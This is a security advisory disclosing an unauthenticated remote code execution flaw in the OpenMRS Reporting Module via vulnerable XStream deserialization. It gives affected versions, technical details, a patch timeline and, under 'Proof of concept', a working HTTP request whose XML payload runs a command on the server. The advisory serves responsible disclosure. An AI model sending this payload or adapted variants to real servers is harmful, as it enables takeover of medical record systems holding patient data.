OpenMRS Reporting Module 0.9.7 Remote Code Execution

`Title: Unauthenticated remote code execution in OpenMRS  
Product: OpenMRS  
Vendor: OpenMRS Inc.  
Tested versions: See summary  
Status: Fixed by vendor  
Reported by: Brian D. Hysell  
  
Product description:  
  
OpenMRS is "the world's leading open source enterprise electronic  
medical record system platform."  
  
Vulnerability summary:  
  
The OpenMRS Reporting Module 0.9.7 passes untrusted XML input to a  
version of the XStream library vulnerable to CVE-2013-7285, making it  
vulnerable to remote code execution. If the Appointment Scheduling UI  
Module 1.0.3 is also installed, this RCE is accessible to  
unauthenticated attackers. OpenMRS Standalone 2.3 and OpenMRS Platform  
1.11.4 WAR with Reporting 0.9.7 and Appointment Scheduling UI 1.0.3  
installed were confirmed to be vulnerable; other versions and  
configurations containing these modules are likely to be vulnerable as  
well (see "Remediation").  
  
Details:  
  
In the Reporting module, the method saveSerializedDefinition (mapped  
to module/reporting/definition/saveSerializedDefinition) in  
InvalidSerializedDefinitionController can be accessed by an  
unauthenticated user.  
  
The attacker must provide a valid UUID for a definition present in  
OpenMRS or a NullPointerException will be thrown before the remote  
code execution can take place. However, upon initialization the  
Appointments Scheduling UI module inserts a definition with a constant  
UUID hard-coded into AppointmentSchedulingUIConstants  
(c1bf0730-e69e-11e3-ac10-0800200c9a66).  
  
Proof of concept:  
  
GET /openmrs-standalone/module/reporting/definition/saveSerializedDefinition.form?type=org.openmrs.OpenmrsObject&serializationClass=org.openmrs.module.serialization.xstream.XStreamSerializer&serializedData=<dynamic-proxy><interface>org.openmrs.OpenmrsObject</interface><handler%20class%3d"java.beans.EventHandler"><target%20class%3d"java.lang.ProcessBuilder"><command><string>calc.exe</string></command></target><action>start</action></handler></dynamic-proxy>&uuid=c1bf0730-e69e-11e3-ac10-0800200c9a66&name=test&subtype=org.openmrs.OpenmrsObject  
  
Remediation:  
  
The vendor has addressed this issue in OpenMRS Standalone 2.3.1,  
OpenMRS Reference Application 2.3.1, and OpenMRS Platform 1.11.5,  
1.10.3, and 1.9.10.  
  
Timeline:  
  
Vendor contacted: November 2, 2015  
Vendor replied: November 3  
CVE requested: November 14 (no response)  
Patch released: December 2  
Announced: January 6, 2016  
  
  
`